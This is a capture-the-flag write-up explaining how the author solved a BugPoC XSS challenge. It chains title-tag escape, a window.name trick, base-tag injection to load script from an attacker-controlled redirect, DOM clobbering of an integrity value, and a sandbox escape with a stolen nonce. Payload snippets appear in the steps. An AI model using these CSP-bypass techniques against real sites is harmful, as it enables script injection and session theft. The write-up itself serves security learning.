BugPoC XSS CTF

The Wacky TeXt Generator

FHantke
6 min readNov 10, 2020
wacky.buggywebsite.com

A few days ago, BugPoC announced another one of their great CTF challenges on Twitter. Since I have always learned a lot when solving their challenges, it was without questions that I played this one as well.

Challenge

The challenge rules were simple:

  1. You must alert(origin) showing https://wacky.buggywebsite.com
  2. You must bypass CSP
  3. It must be reproducible using the latest version of Chrome
  4. You must provide a working proof-of-concept on bugpoc.com

Setup

The challenge domain was wacky.buggywebsite.com. When opening the domain, the Wacky TeXt Generator displays a small editor and a button as it is shown in the title picture.

As the following GIF shows, we can enter a boring text and make it whacky. Make it whacky in this context means, the website sets the source for an iframe to the endpoint /frame.html?param=<myText> which then shows the processed text.

The wacky text generator loads the processed text as an iframe

My final XSS exploit consists of various stages that I describe in the following sections.

Step 1: Title Escape

First, I realized that the /frame.html endpoint not only responds with my text in its body but also copies it in the title element of the HTML head. From this first trace, I went on and escaped the title element so that I could load arbitrary content in the HTML head and body (below).

The param value is copied in the title, thus the title can be escaped

Loading content into the body is the first step to a successful XSS attack. However, in order to send this challenge to someone as reflected XSS, I had to find a way to load the /frame endpoint outside of the index pages’ iframe. When I tried this and loaded the frame URL on its own, I realized that it fails due to a check in the JavaScript code that tests whether the window name is “iframe” or not.

The endpoint checks whether the window name is “iframe”

Luckily, I recently watched a LiveOverflow video in which he exactly explains this trick with the window name. The window.name property can be used cross-domain and is persistent in the browsing context. This means that we can set window.name to “iframe”, load a new URL with window.location and window.name remains the same. In this case, the JavaScript check is correct and the website is loaded properly:

window.name="iframe"
window.location = "https://wacky.buggywebsite.com/frame.html?param=1337%3c%2ftitle%3e%3C/head%3E%3ch1%3eHello%20Content%3ch1%3e

Step 2: Load Malicious Code

With the possibility to load arbitrary content on the /frame endpoint, it was now the time to load and execute malicious JavaScript code. Unfortunately, the website has a strict content security policy (CSP):

script-src ‘nonce-kvduhtgrdywi’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;

The CSP makes sure that JavaScript is only executed when allowed, for instance, when it contains a valid nonce attribute. To check for flaws in the CSP, the Google CSP Evaluator is a great tool. As soon as we load the CSP into the tool, it tells us that the base-uri key is missing:

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

A quick code review showed that the website indeed loads some script from a relative path files/analytics/js/frame-analytics.js. This can be seen in line 23 in the following code snippet or, if you look closely, in the whacky text generator GIF above.

Consequently, I only had to set the base-uri to a malicious domain and respond from there with my own code, whenever someone calls the frame-analytics.js.

For this purpose, BugPoC was very handy, as I could easily set up a mock endpoint that responds with my malicious code and a flexible redirect that I can use as base-uri and path.

The picture below shows the Flexible Redirect. It takes my mock endpoint URL and returns a redirect ID. This ID can then be used to reference the redirect in various URLs.

https://bugpoc.com/testers/other/redir

Thus, the following line sets the base-uri:

<base href="https://lg7tdq4rd5fc.redir.bugpoc.ninja/">

Step 3: Integrity Check

As you can see in the code snippet from the previous section, the script tag also checks integrity using base64-encoded sha256. Since my malicious code has another hash than the origin code, my code was not executed. Thus, I had to bypass the integrity check.

The integrity check with sha256 is standard and valid so there is no way to forge a file with the same sha256 hash. However, there is a hint from the challenge authors to show you where to look further.

As shown in the aforementioned code snippet, the integrity check uses the value of the variable fileIntegrity.value. This value is set a few lines earlier with window.fileIntegrity. In JavaScript, the window object holds all variables, thusfileIntegrity and window.fileIntegrity are the same object.

The hint here is that window.fileIntegrity is only set, when it is not already existent. However, it cannot be already existent in the original code since this part is only executed once. Thus, this is unusual and I guess we must find a way to set the object before the code is executed.

Before the JavaScript code is executed, the DOM elements are loaded and in many browsers, DOM elements exist as global objects in JavaScript. For instance, the iframe of the index webpage can easily be referenced by its id “theIframe” instead of document.getElementById('theIframe'). When we now create a DOM element that has the id fileIntegrity and an attribute value with the correct sha56 hash value, the discussed JavaScript code would reference this DOM element and validate the integrity check with our value.

For this purpose, I used a button element, since it contains a value attribute innately. I created it with the first-mentioned vulnerability in which I escape the title element and load arbitrary HTML content. As a result, the integrity check is valid.

<button id="fileIntegrity" name="fileIntegrity" type="submit" value="zhPJ/x4SM8T7tGc4VA8FonTCCb8dogeYrmjRZYzCbaI="></button>

Step 4: Execute JavaScript

At this moment, I thought, I can finally load my JavaScript code and execute it, only to be proven wrong. I realized that the script element is loaded in another iframe which uses the attribute sandbox(also given in the code snippet above). Sandbox is a mode for iframes in which they are restricted in their privileges. To execute our alert, for instance, the sandbox attribute additionally needs the value allow-modals. However, only allow-scripts and allow-same-origin were set.

Searching on the internet, the MDN web docs tell us something interesting:

allow-same-origin: If this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy.

allow-scripts: Lets the resource run scripts (but not create popup windows).

When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

Basically, we can use window.parent to access the main document and manipulate DOM elements. Thus, my idea was to steal the nonce tag from a script element, use it to create a new script element, append the script element to the parent document and eventually let it execute alert.

I coded it into my JavaScript payload, as you can see below, and tried it out. Finally, it worked! The alert popped up and the challenge was solved :)

My final solution that I uploaded to BugPoC
My final XSS exploit code
The final exploit as BugPoC report (https://bugpoc.com/poc#bp-znA8d6ul PW: ARIdboBcaT88)

Summary

Let’s summarize the attack chain:

  1. Set the window name and window location.
  2. Escape the title element to set the base-uri and a button element for the following integrity check.
  3. The website creates the analytics iframe and embeds JavaScript loaded from a relative path that now points to a malicious JavaScript file.
  4. The malicious code escapes the iframe sandbox, steals the nonce, and creates, using the nonce, its own script element to execute the alert.

This was, again, a challenge that I really enjoyed. Thank you BugPoC and keep up the great work!

--

--

FHantke

Computer Science Student. Interested in IT security and forensics. https://fhantke.de/